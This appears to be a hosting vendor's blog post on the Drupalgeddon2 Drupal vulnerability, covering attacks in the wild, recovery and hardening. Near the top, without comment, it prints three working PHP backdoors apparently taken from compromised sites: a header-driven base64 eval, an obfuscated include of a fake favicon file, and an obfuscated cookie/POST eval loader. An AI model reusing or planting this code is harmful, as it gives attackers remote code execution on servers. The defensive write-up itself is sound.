How to fix Drupalgeddon2 vulnerability (CVE-2018-7600) in Drupal 7.x and 8.x

On March 28th, Drupal disclosed a Highly Critical vulnerability in Drupal core (CVE-2018-7600) that was dubbed Drupalgeddon 2 (Drupalgeddon 1 happened in 2014)

Drupal version 7.x and 8.5.x was affected by this vulnerability, and allowed remote attackers to infect the site with malicious code.

Here at Bobcares Website Management Serivces, we help website owners keep their applications and servers secure.

Within hours of the security notification, we applied the official patches to keep the sites of our customers safe.

<?php

if(@isset($_SERVER[HTTP_6F467]))
{
    @eval(base64_decode($_SERVER[HTTP_6F467]));
}
exit;
?>
<span class="ajax-new-content"></span>sites/libasset.phpArraymarkupArraysites/libasset.php

<?php
/*24533*/

@include "\x2fh\x6fm\x65/\x64r\x75p\x61l\x65x\x2fd\x6fm\x61i\x6es\x2fe\x78p\x72e\x73s\x6da\x67a\x7ai\x6ee\x2en\x65t\x2fp\x75b\x6ci\x63_\x68t\x6dl\x2fi\x6ec\x6cu\x64e\x73/\x66i\x6ce\x74r\x61n\x73f\x65r\x2ff\x61v\x69c\x6fn\x5f8\x398\x334\x36.\x69c\x6f";

/*24533*/

<?php
$psmsrca = 'oalsi3yv-mx6bH8tpncrek90g5#fu\'7_4d*';
$fdvpu = Array();
$fdvpu[] = $psmsrca[5].$psmsrca[18].
        $psmsrca[18].$psmsrca[14].$psmsrca[25].$psmsrca[11].$psmsrca[33].
        $psmsrca[11].$psmsrca[8].$psmsrca[14].$psmsrca[27].$psmsrca[33].
        $psmsrca[11].$psmsrca[8].$psmsrca[32].$psmsrca[27].$psmsrca[18].
        $psmsrca[25].$psmsrca[8].$psmsrca[22].$psmsrca[32].$psmsrca[23].
        $psmsrca[22].$psmsrca[8].$psmsrca[32].$psmsrca[22].$psmsrca[22].
        $psmsrca[14].$psmsrca[18].$psmsrca[30].$psmsrca[1].$psmsrca[5].
        $psmsrca[20].$psmsrca[14].$psmsrca[32].$psmsrca[5];
$fdvpu[] = $psmsrca[13].$psmsrca[34];
$fdvpu[] = $psmsrca[26];
$fdvpu[] = $psmsrca[18].$psmsrca[0].$psmsrca[28].$psmsrca[17].$psmsrca[15];
$fdvpu[] = $psmsrca[3].$psmsrca[15].$psmsrca[19].$psmsrca[31].$psmsrca[19].$psmsrca[20].$psmsrca[16].$psmsrca[20].$psmsrca[1].$psmsrca[15];
$fdvpu[] = $psmsrca[20].$psmsrca[10].$psmsrca[16].$psmsrca[2].$psmsrca[0].$psmsrca[33].$psmsrca[20];
$fdvpu[] = $psmsrca[3].$psmsrca[28].$psmsrca[12].$psmsrca[3].$psmsrca[15].$psmsrca[19];
$fdvpu[] = $psmsrca[1].$psmsrca[19].$psmsrca[19].$psmsrca[1].$psmsrca[6].$psmsrca[31].$psmsrca[9].$psmsrca[20].$psmsrca[19].$psmsrca[24].$psmsrca[20];
$fdvpu[] = $psmsrca[3].$psmsrca[15].$psmsrca[19].$psmsrca[2].$psmsrca[20].$psmsrca[17];
$fdvpu[] = $psmsrca[16].$psmsrca[1].$psmsrca[18].$psmsrca[21];
foreach ($fdvpu[7]($_COOKIE, $_POST) as $iemfath => $pzxns){
    function pkxkjg($fdvpu, $iemfath, $yjnnuk)
    {
        return $fdvpu[6]($fdvpu[4]($iemfath . $fdvpu[0], ($yjnnuk / $fdvpu[8]($iemfath)) + 1), 0, $yjnnuk);
    }
    function qlciykt($fdvpu, $icswmzc)
    {
        return @$fdvpu[9]($fdvpu[1], $icswmzc);
    }
    function wbjaoga($fdvpu, $icswmzc)
    {
        $nphof = $fdvpu[3]($icswmzc) % 3;
        if (!$nphof)
        {
            eval($icswmzc[1]($icswmzc[2]));
            exit();
        }
    }
    $pzxns = qlciykt($fdvpu, $pzxns);
    wbjaoga($fdvpu, $fdvpu[5]($fdvpu[2], $pzxns ^ pkxkjg($fdvpu, $iemfath, $fdvpu[8]($pzxns))));
}

Drupalgeddon 2 exploits in the wild

Usually immediately after a vulnerability is disclosed, we get reports of sites being compromised.

For this vulnerability, all seemed quiet for 2 weeks. And then it started.

Since April 15, we started getting website recovery requests from website owners at our On-demand Emergency Support channel. This channel serves web site owners who are not our service subscribers, but need on-demand support.

We found many of these sites with malware uploaded into them, and malicious processes running off it (backdoors, crypto currency miners, etc.).

There were some sites which didn’t have any trace of malware, but we assume that the server is infected if the site was not patched before the first automated attacks started (on April 11th).

How to fix Drupalgeddon 2

The best path to take is to:

  • Backup and delete the current website.
  • Restore a previous version of the site from backup.
  • Apply the patches
  • Upgrade Drupal to the latest version.

However, there may be sites that might not have a recent backup.

For these sites, we recreate the hosting account by manually weeding out changed files, and restoring the site by hand.

It is not a 100% fool-proof method, but it is a reasonably sure way to get rid of files that might be infected.

If your site is hacked or feel it might be infected, click here to consult our Drupal Security Experts.

What if I have Drupal 6?

Drupal 6 reached End of Life in Feb 2016, and no new patches are available for over 2 years now.

So, if you have a Drupal 6 website, we’d recommend you to upgrade your site with the help of our Drupal Development team.

We’ll manually verify each file and migrate your site to a Drupal 8 platform..

How to keep Drupal safe

Drupal is a reasonably secure platform, but like any other web application, it get affected by vulnerabilities.

We keep our customer’s Drupal sites safe by:

  • Monitoring for vulnerabiltiies 24/7 and applying emergency patch within hours of a disclosure.
  • Updating Drupal core, themes and modules within a few days of their release.
  • Hardening Apache, Nginx, PHP and MySQL to prevent malware execution on the server.
  • Blocking malware uploads by using custom configured Web Application Firewalls.
  • Hardening the Filesystem and Network to make sure poor reputation IPs cannot connect to the server, and download malware into the server.
  • Scanning the server media and processes for malicious acitivity, and weeding out malware within minutes if manages to get through the defenses.